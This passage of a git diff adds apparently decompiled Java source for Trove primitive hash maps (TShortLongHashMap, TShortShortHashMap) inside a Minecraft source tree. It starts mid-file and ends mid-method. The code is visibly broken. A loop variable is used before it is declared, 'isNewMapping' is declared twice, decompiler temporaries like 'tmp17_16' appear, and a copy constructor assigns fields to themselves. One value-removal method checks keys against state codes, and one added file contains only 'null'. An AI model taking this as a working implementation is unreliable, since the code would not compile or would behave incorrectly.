+      }
+    }
+    return keys;
+  }
+  
+
+  public short[] keys(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    byte[] states = _states;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(short key)
+  {
+    return contains(key);
+  }
+  
+
+  public TShortLongIterator iterator()
+  {
+    return new TShortLongHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TShortProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TShortLongProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TShortLongProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    short[] keys = _set;
+    long[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(short key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(short key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(short key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TShortSet
+  {
+    protected TKeyView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortLongHashMap.TShortLongKeyHashIterator(TShortLongHashMap.this, TShortLongHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return TShortLongHashMap.this.contains(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!TShortLongHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TShortSet)) {
+        return false;
+      }
+      TShortSet that = (TShortSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TLongCollection
+  {
+    protected TValueView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TShortLongHashMap.TShortLongValueHashIterator(TShortLongHashMap.this, TShortLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      short[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TShortLongKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortLongKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TShortLongValueHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TShortLongValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TShortLongHashIterator
+    extends THashPrimitiveIterator
+    implements TShortLongIterator
+  {
+    TShortLongHashIterator(TShortLongHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public short key()
+    {
+      return _set[_index];
+    }
+    
+    public long value()
+    {
+      return _values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortLongMap)) {
+      return false;
+    }
+    TShortLongMap that = (TShortLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    long[] values = _values;
+    byte[] states = _states;
+    long this_no_entry_value = getNoEntryValue();
+    long that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        short key = _set[i];
+        long that_value = that.get(key);
+        long this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TShortLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(short key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      short key = in.readShort();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TShortObjectHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortObjectHashMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortObjectHashMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/gnu/trove/map/hash/TShortShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortShortHashMap.java
new file mode 100644
index 0000000..041b990
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortShortHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.impl.hash.TShortShortHash;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.iterator.TShortShortIterator;
+import gnu.trove.map.TShortShortMap;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.procedure.TShortShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortShortHashMap
+  extends TShortShortHash
+  implements TShortShortMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient short[] _values;
+  
+  public TShortShortHashMap() {}
+  
+  public TShortShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TShortShortHashMap(int initialCapacity, float loadFactor, short noEntryKey, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TShortShortHashMap(short[] keys, short[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortShortHashMap(TShortShortMap map)
+  {
+    super(map.size());
+    if ((map instanceof TShortShortHashMap)) {
+      TShortShortHashMap hashmap = (TShortShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldKeys = _set;
+    short[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _values = new short[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public short put(short key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(short key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private short doPut(short key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Short, ? extends Short> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Short, ? extends Short> entry : map.entrySet()) {
+      put(((Short)entry.getKey()).shortValue(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TShortShortMap map)
+  {
+    ensureCapacity(map.size());
+    TShortShortIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public short get(short key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public short remove(short key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TShortSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public short[] keys()
+  {
+    short[] keys = new short[size()];
+    short[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public short[] keys(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    byte[] states = _states;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(short key)
+  {
+    return contains(key);
+  }
+  
+
+  public TShortShortIterator iterator()
+  {
+    return new TShortShortHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TShortProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TShortShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TShortShortProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    short[] keys = _set;
+    short[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(short key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(short key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; short[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((short)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(short key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TShortSet
+  {
+    protected TKeyView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortShortHashMap.TShortShortKeyHashIterator(TShortShortHashMap.this, TShortShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return TShortShortHashMap.this.contains(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!TShortShortHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
